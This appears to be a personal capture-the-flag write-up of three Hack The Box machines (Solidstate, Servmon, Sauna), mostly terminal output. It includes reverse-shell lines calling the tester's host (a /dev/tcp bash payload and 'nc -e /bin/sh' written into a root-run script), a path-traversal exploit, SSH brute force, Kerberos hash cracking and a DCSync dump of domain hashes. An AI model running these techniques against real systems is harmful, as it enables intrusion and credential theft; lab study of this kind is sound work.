

Solidstate Machine

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bright@kali:~/solidstate$ sudo nmap -sC -sT -A -Pn -sV solidstate.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:19 CET
Nmap scan report for solidstate.htb (10.10.10.51)
Host is up (0.033s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256  78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256  e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp    open  smtp      JAMES smtpd 2.3.2
|_ smtp-commands: solidstate Hello solidstate.htb (10.10.14.2 [10.10.14.2])
80/tcp    open  http      Apache httpd 2.4.25 ((Debian))
|_ http-title: Home - Solid State Security
|_ http-server-header: Apache/2.4.25 (Debian)
110/tcp   open  pop3      JAMES pop3d 2.3.2
119/tcp   open  nntp      JAMES nntpd (posting ok)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/7%OT=22%CT=1%CU=39172%PV=Y%DS=2%DC=T%G=Y%TM=67A5C
OS:29D%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)E
OS:CN(R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=
OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   44.15 ms  10.10.14.1
2   51.54 ms  solidstate.htb (10.10.10.51)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.43 seconds
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nmap1

This only showed the first 1000 ports and didn't show, to show all I ran nmap again to include some ports

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bright@kali:~/solidstate$ nmap solidstate.htb -p 1000-65500
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:27 CET
Nmap scan report for solidstate.htb (10.10.10.51)
Host is up (0.031s latency).
Not shown: 64500 closed tcp ports (reset)
PORT      STATE SERVICE
4555/tcp  open  rsip

Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
bright@kali:~/solidstate$ sudo nmap -sC -sT -A -Pn -sV solidstate.htb -p 4555
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-07 09:28 CET
Nmap scan report for solidstate.htb (10.10.10.51)
Host is up (0.028s latency).

PORT      STATE SERVICE VERSION
4555/tcp  open  rsip?
|_ fingerprint-strings:
|_   GenericLines:
|_     JAMES Remote Administration Tool 2.3.2
|_     Please enter your login and password
|_     Login id:
|_     Password:
|_     Login failed for
|_     Login id:
|_   1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|_   SF-Port4555-TCP:V=7.94SVN%I=7%D=2/7%Time=67A5C42A%P=x86_64-pc-linux-gnu%r(
|_   SF:GenericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\3\2\n
|_   SF:Please\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPass
|_   SF:word:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
|_   Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.13 or 4.2 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 4.4 (95%), Linux 4.8 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   28.24 ms  10.10.14.1
2   29.64 ms  solidstate.htb (10.10.10.51)

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nmap2

This shows that the server is running an application that is vulnerable to remote code execution “James Remote Administration tool”

More research provide the exploit and the default root credential as root. I downloaded the exploit. No modification because everything was preconfigured.

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bright@kali:~/solidstate$ python3 50347.py 10.10.10.51 10.10.14.2 4444
[+]Payload Selected (see script for more options): /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1 &
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 4444
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 4444 before logging in!

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Exploit

The execution shows that this can only grant a shell if someone login via ssh.

To achieve this, I have to connect to the machine to the application at port 4555 to find users

I changed all the user passwords and tried to access all users email via port 110. However, I only found the email to mindy where the user's credentials was writing in clear text.

```

bright@kali:~/solidstate$ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help
listusers
countusers
adduser [username] [password]
verify [username]
deluser [username]
setpassword [username] [password]
setalias [user] [alias]
showalias [username]
unsetalias [user]
setforwarding [username] [emailaddress]
showforwarding [username]
unsetforwarding [username]
user [repositoryname]
shutdown
quit
listusers
Existing accounts 6
user: james
user: ../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
setpassword mindy mindy
Password for mindy reset

Unknown command
exit

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display this help
display existing accounts
display the number of existing accounts
add a new user
verify if specified user exist
delete existing user
sets a user's password
locally forwards all email for 'user' to 'alias'
shows a user's current email alias
unsets an alias for 'user'
forwards a user's email to another email address
shows a user's current email forwarding
removes a forward
change to another user repository
kills the current JVM (convenient when James is run as a daemon)
close connection

Change password for mindy

```
bright@kali:~/solidstate$ telnet 10.10.10.51 110
Trying 10.10.10.51 ...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
+OK
pass writeup
+OK Welcome mindy
help
-ERR
ls
-ERR
dir
-ERR
list
+OK 2 1945
1 1109
2 836
.
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
        by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
        for <mindy@localhost>;
        Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login.
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email to mindy

Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: Pq55W0rd1!2@

Respectfully,
James

^]

telnet>

Connection closed.

bright@kali:~/solidstate\$ ssh mindy@10.10.10.51

mindy@10.10.10.51's password:

Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142

-rbash: \$'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\;': command not found

-rbash: L: command not found

-rbash: attributestljava/util/HashMap: No such file or directory

-rbash: L

errorMessagetljava/lang/String: No such file or directory

-rbash: L

lastUpdatedtljava/util/Date: No such file or directory

-rbash: Lmessage!Ljavax/mail/internet/MimeMessage: No such file or directory

-rbash: \$'\L\004nameq~\002L': command not found

Cleartext creds for mendy

Immediately, I used those creds to login via ssh, I got a reversed shell

bright@kali:~/solidstate\$ rlrwrap nc -nvlp 4444

listening on [any] 4444 ...

connect to [10.10.14.2] from (UNKNOWN) [10.10.10.51] 47146

bash: cannot set terminal process group (5548): Inappropriate ioctl for device

bash: no job control in this shell

foothold

However, even without the exploit. The username and password of mindy can also grant you ssh access when used in this format.

bright@kali:~/solidstate\$ ssh mindy@10.10.10.51 -t "bash --noprofile"

mindy@10.10.10.51's password:

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:~\$

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:~\$

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:~\$

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:~\$ cd /opt

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:/opt\$ echo "os.system('nc -e /bin/sh 10.10.14.2 4443')" >> tmp.py

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:/opt\$./tmp.py

rm: cannot remove '/tmp/*': No such file or directory

\$(debian_chroot:+(\$debian_chroot))mindy@solidstate:/opt\$ ps py

error: process ID list syntax error

Ssh

Found a writable python file in the opt directory that is scheduled to run process as root.

Writablefile

process

I echoed a command into the file and after some minutes, I got reverse shell as root.

```
echo "os.system('nc -e /bin/sh 10.10.14.2 4443')" >> tmp.py
```

root

Servmon machine

```
bright@kali:~/servmon$ sudo nmap -sC -sT -A -Pn -sV servmon.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 12:14 CET
Nmap scan report for servmon.htb (10.10.10.184)
Host is up (0.028s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
|_ ftp-syst:
|_   SYST: Windows_NT
|_   ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_   02-28-22  06:35PM      <DIR>      Users
22/tcp    open  ssh          OpenSSH for Windows_8.0 (protocol 2.0)
|_ ssh-hostkey:
|_   3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
|_   256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_   256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp    open  http
|_ http-title: Site doesn't have a title (text/html).
|_ fingerprint-strings:
|_   GetRequest, HTTPOptions, RTSPRequest:
|_     HTTP/1.1 200 OK
|_     Content-type: text/html
|_     Content-Length: 340
|_     Connection: close
|_     AuthInfo:
|_     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|_     <html xmlns="http://www.w3.org/1999/xhtml">
|_     <head>
|_     <title></title>
|_     <script type="text/javascript">
|_     window.location.href = "Pages/login.htm";
|_     </script>
|_     </head>
|_     <body>
|_     </body>
|_     </html>
|_   NULL:
|_     HTTP/1.1 408 Request Timeout
```

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|_   AuthInfo:
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5666/tcp  open  tcpwrapped
6699/tcp  open  tcpwrapped
8443/tcp  open  ssl/https-alt
|_ ssl-date: TLS randomness does not represent time
|_ ssl-cert: Subject: commonName=localhost
|_ Not valid before: 2020-01-14T13:24:20
|_ Not valid after: 2021-01-13T13:24:20
|_ fingerprint-strings:
|_   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
|_     HTTP/1.1 404
|_     Content-Length: 18
|_     Document not found
|_   GetRequest:
|_     HTTP/1.1 302
|_     Content-Length: 0
|_     Location: /index.html
|_     iday
|_     Sat:Saturday
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-
bin/submit.cgi?new-service :
=====
NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)
SF-Port80-TCP:V=7.94SVN%I=7%D=2/18%Time=67B46B91%P=x86_64-pc-linux-gnu%r(N
SF:ULL,6B,"HTTP/1.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text
SF:/html\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\
SF:r\n\r\n")%r(GetRequest,1B4,"HTTP/1.1\x20200\x20OK\r\nContent-type:\x20
SF:text/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo
SF::\x20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20"-//W3C//DTD\x
SF:20XHTML\x201.0\x20Transitional//EN"\x20"http://www.w3.org/TR/xhtml1
SF:1/DTD/xhtml1-transitional.dtd">\r\n\r\n<html\x20xmlns="http://www.w
SF:3.org/1999/xhtml">\r\n<head>\r\n\x20\x20\x20<title></title>\r\n\x
SF:20\x20\x20<script\x20type="text/javascript">\r\n\x20\x20\x20\x20\
SF:x20\x20\x20window.location.href\x20=\x20"Pages/login.htm";\r\n
SF:\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\
SF:n")%r(HTTPOptions,1B4,"HTTP/1.1\x20200\x20OK\r\nContent-type:\x20text/
SF:html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20
```

nmap

I used ftp anonymous to login to a machine and downloaded files from nathan and Nadine's directory.

```
bright@kali:~/servmon$ ls
confidential.txt 'Notes to do.txt'
bright@kali:~/servmon$ cat confidential.txt
Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadinebright@kali:~/servmon$ cat Notes\ to\ do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePointbright@kali:~/servmon$
bright@kali:~/servmon$
```

File downloaded from file server

Port 80 shows that NVMS application is running which is vulnerable to path traversal, Based on Nadine's note. I was able to use an exploit to access Nathan's Desktop and capture the password.txt file.

<https://github.com/AleDiBen/NVMS1000-Exploit/blob/master/nvms.py>

```
bright@kali:~/servmon$ python3 nvms.py 10.10.10.184 /users/Nathan/Desktop/passwords.txt passwords.txt
[+] DT Attack Succeeded
[+] Saving File Content
[+] Saved
[+] File Content

+++++ BEGIN ++++++
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrai0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Ut0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
+++++ END ++++++

bright@kali:~/servmon$ ls
```

Passwords.txt file

I used hydra and bruteforced it for both user. I got initial foothold as Nadine


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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-18 13:24:55
bright@kali:~/servmon$ sudo hydra -l nathan -P pass.txt -s 22 ssh://servmon.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (
this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-18 13:24:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://servmon.htb:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-18 13:24:56
bright@kali:~/servmon$ sudo hydra -l nadine -P pass.txt -s 22 ssh://servmon.htb
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (
this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-18 13:25:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://servmon.htb:22/
[22][ssh] host: servmon.htb login: nadine password: L1k3B1g8ut7s@W0rk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-18 13:25:07
bright@kali:~/servmon$ ssh nadine@10.10.10.184
nadine@10.10.10.184's password:
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>whoami
servmon\nadine

nadine@SERVMON C:\Users\Nadine>hostame
'hostame' is not recognized as an internal or external command,
operable program or batch file.

nadine@SERVMON C:\Users\Nadine>hostname
ServMon

nadine@SERVMON C:\Users\Nadine>ls

```

initlal foothold

Excalate privileges

I found a program running on the target that is called NSClient++

```

nadine@SERVMON C:\Program Files>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1

Directory of C:\Program Files

02/28/2022  06:55 PM    <DIR>          .
02/28/2022  06:55 PM    <DIR>          ..
03/01/2022  01:20 AM    <DIR>          Common Files
11/11/2019  06:52 PM    <DIR>          internet explorer
02/28/2022  06:07 PM    <DIR>          MSBuild
02/28/2022  06:55 PM    <DIR>          NSClient++
02/28/2022  06:46 PM    <DIR>          NVMS-1000
02/28/2022  06:32 PM    <DIR>          OpenSSH-Win64
02/28/2022  06:07 PM    <DIR>          Reference Assemblies
02/28/2022  05:44 PM    <DIR>          VMware
11/11/2019  06:52 PM    <DIR>          Windows Defender
11/11/2019  06:52 PM    <DIR>          Windows Defender Advanced Threat Protection
09/14/2018  11:19 PM    <DIR>          Windows Mail
11/11/2019  06:52 PM    <DIR>          Windows Media Player
09/14/2018  11:19 PM    <DIR>          Windows Multimedia Platform
09/14/2018  11:28 PM    <DIR>          windows nt
11/11/2019  06:52 PM    <DIR>          Windows Photo Viewer
09/14/2018  11:19 PM    <DIR>          Windows Portable Devices
09/14/2018  11:19 PM    <DIR>          Windows Security
02/28/2022  06:25 PM    <DIR>          WindowsPowerShell
               0 File(s)                0 bytes
              20 Dir(s)  6,117,257,216 bytes free

```

NSClient++

I checked the version

```
nadine@SERVMON C:\Program Files\NSClient++>dir
Volume in drive C has no label.
Volume Serial Number is 20C1-47A1
```

initial foothold

version

Noticed that the application was exposed to port 8443 and can be seen from external but can only access with a loopback ip 127.0.0.1

Since I cannot access it from the compromised windows target because I don't have access to the GUI. I have to use ssh portforwarding so I can use my kali loopback address on the machine.

```
ssh -L 8443:127.0.0.1:8443 nadine@servmon.htb
```

With this, I was able to access the application.

I used this guideline <https://www.exploit-db.com/exploits/46802>

to get the password for the application, scheduled a script, and get access as NT Authority on the target.

<https://medium.com/@onurinalkac/hackthebox-23-servmon-writeup-7cd356ad39a5>

Sauna Machine

```
bright@kali:~/sauna$ sudo nmap -sC -sT -A -Pn -sV sauna.htb
[sudo] password for bright:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-28 09:58 CET
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.031s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
80/tcp    open  http           Microsoft IIS httpd 10.0
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-title: Egotistical Bank :: Home
|_ http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2025-02-28 15:58:30Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|_   date: 2025-02-28T15:58:38
|_   start_date: N/A
|_ clock-skew: 7h00m01s
```

nmap

I reviewed the web page and found some user information



Fergus Smith



Shaun Coins



Hugo Bear



Bowie Taylor



Sophie Driver



Steven Kerb

AMAZING

Meet The Team

“Meet the team. So many bank account managers only one security manager. Sounds about right!”

team

I copied their names and formatted it naming conventions of today's companies

```

bright@kali:~/sauna$ cat users.txt
Fergus Smith
Hugo Bear
Steven Kerb
Shaun Coins
Bowie Taylor
Sophie Driver
bright@kali:~/sauna$ ./username-anarchy --input-file users.txt --select-format FirstLast,firstlast,First.Last,first.last,f.last,flast > username.txt
bright@kali:~/sauna$ ls
format-plugins.rb  fsmith.asp  secretsdump.py  username-anarchy  username.txt  users.txt  winPEASx64.exe
bright@kali:~/sauna$ cat username.txt
fergussmith
fergus.smith
f.smith
fsmith
hugobear
hugo.bear
h.bear
hbear
stevenkerb
steven.kerb
s.kerb
skerb
shauncoins
shaun.coins
s.coins
scoins
bowietaylor
bowie.taylor
b.taylor
btaylor
sophiedriver
sophie.driver
s.driver
sdriver

```

users

I found out that user Fsmith does not have the feature enabled. This returned the user kerberos hash.

Asprep

crack


```
Cracking performance lower than expected?

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:f1e46c73da19313cfdcfc02050d67aba5$fe96c5b4a2684b0cd9e35f8ee133eef7d2f90c2056c3283a340c12763a1bb306df906b8e6a3b2f1f3effd1b191548ad0b8aaf7acd7221f2ad35d4dbd571942608553039a99c9ea6334148b81f162d1778863bb4e6ab3878412bfdd09d1f19fad35a9b8d4aaf8e93f802562621b5c212bbcd94939805ee120f0afbe759161579c16ec4946255c91343f27de8f03e428c64839b772a78057e147abe714ae1f0de1b6a69bb9d58d9ba8bce06c17d6a0a81931c5e42b2a0e016044cf26a1802dd44595a0fa4408b584c3d4b874a7674a300c2e289f63dd374db829a5c4dd20c94fb3761d148e915ca3347b9b7da57292f66d453eb7b68a5789eaa89c900118dd8:Thestrokes23

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:f1e46c7 ... 118dd8
Time.Started.....: Fri Feb 28 10:04:36 2025 (10 secs)
Time.Estimated...: Fri Feb 28 10:04:46 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1022.2 kH/s (1.49ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 10539008/14344385 (73.47%)
Rejected.....: 0/10539008 (0.00%)
Restore.Point...: 10536960/14344385 (73.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tiffany95 -> Thelittlemermaid
```

crack2

I got the plaintext password of user fsmith and used it to get initial foothold via winrm

```
bright@kali:~/sauna$ netexec winrm 10.10.10.175 -u username.txt -p Thestrokes23
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.alg
orithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.10.10.175 5985 SAUNA [-] EGOTISTICAL-BANK.LOCAL\fergussmith:Thestrokes23
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.alg
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  arc4 = algorithms.ARC4(self._key)
WINRM 10.10.10.175 5985 SAUNA [-] EGOTISTICAL-BANK.LOCAL\fergus.smith:Thestrokes23
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WINRM 10.10.10.175 5985 SAUNA [-] EGOTISTICAL-BANK.LOCAL\f.smith:Thestrokes23
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.alg
orithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.10.10.175 5985 SAUNA [*+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
bright@kali:~/sauna$ evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
*Evil-WinRM* PS C:\Users\FSmith\Documents> hostname
SAUNA
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> ls

Directory: C:\Users\FSmith\Desktop
```

foothold

For privesc, I tranfered winpeas to enumerate the machine, I found autologin creds for a user. More enumeration with SHARPHOUND AND BLOODHOUND indicated that the user has DCsync right on the domain.

[illegible]

Winpeas

```
C:\Users\svc_loanmgr>
Eeeeeeeeeee Looking for Autologon credentials
Some Autologon credentials were found
DefaultDomainName      : EGOTISTICALBANK
DefaultUserName        : EGOTISTICALBANK\svc_loanmanager
DefaultPassword        : Moneymakestheworldgoround!

Eeeeeeeeeee Password Policies
E Check for a possible brute-force
Domain: Builtin
```

autologin

DCsync right can cause a user to impersonate as a domain controller, use this privilege and request information from another domain controller within the network.

Taken advantage of this write, I ran secrete dump against the DC.

```
[*] Cleaning up...
bright@kali:~/sauna$ python3 secretsdump.py 'svc_loannmgr:Moneythekashworldgoround!@10.10.10.175'
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[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSMith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loannmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:c77249e38556720e023aebfd9ba60439:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSMith:aes256-cts-hmac-sha1-96:5875fff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSMith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSMith:des-cbc-md5:1c73b99168d3f8c7
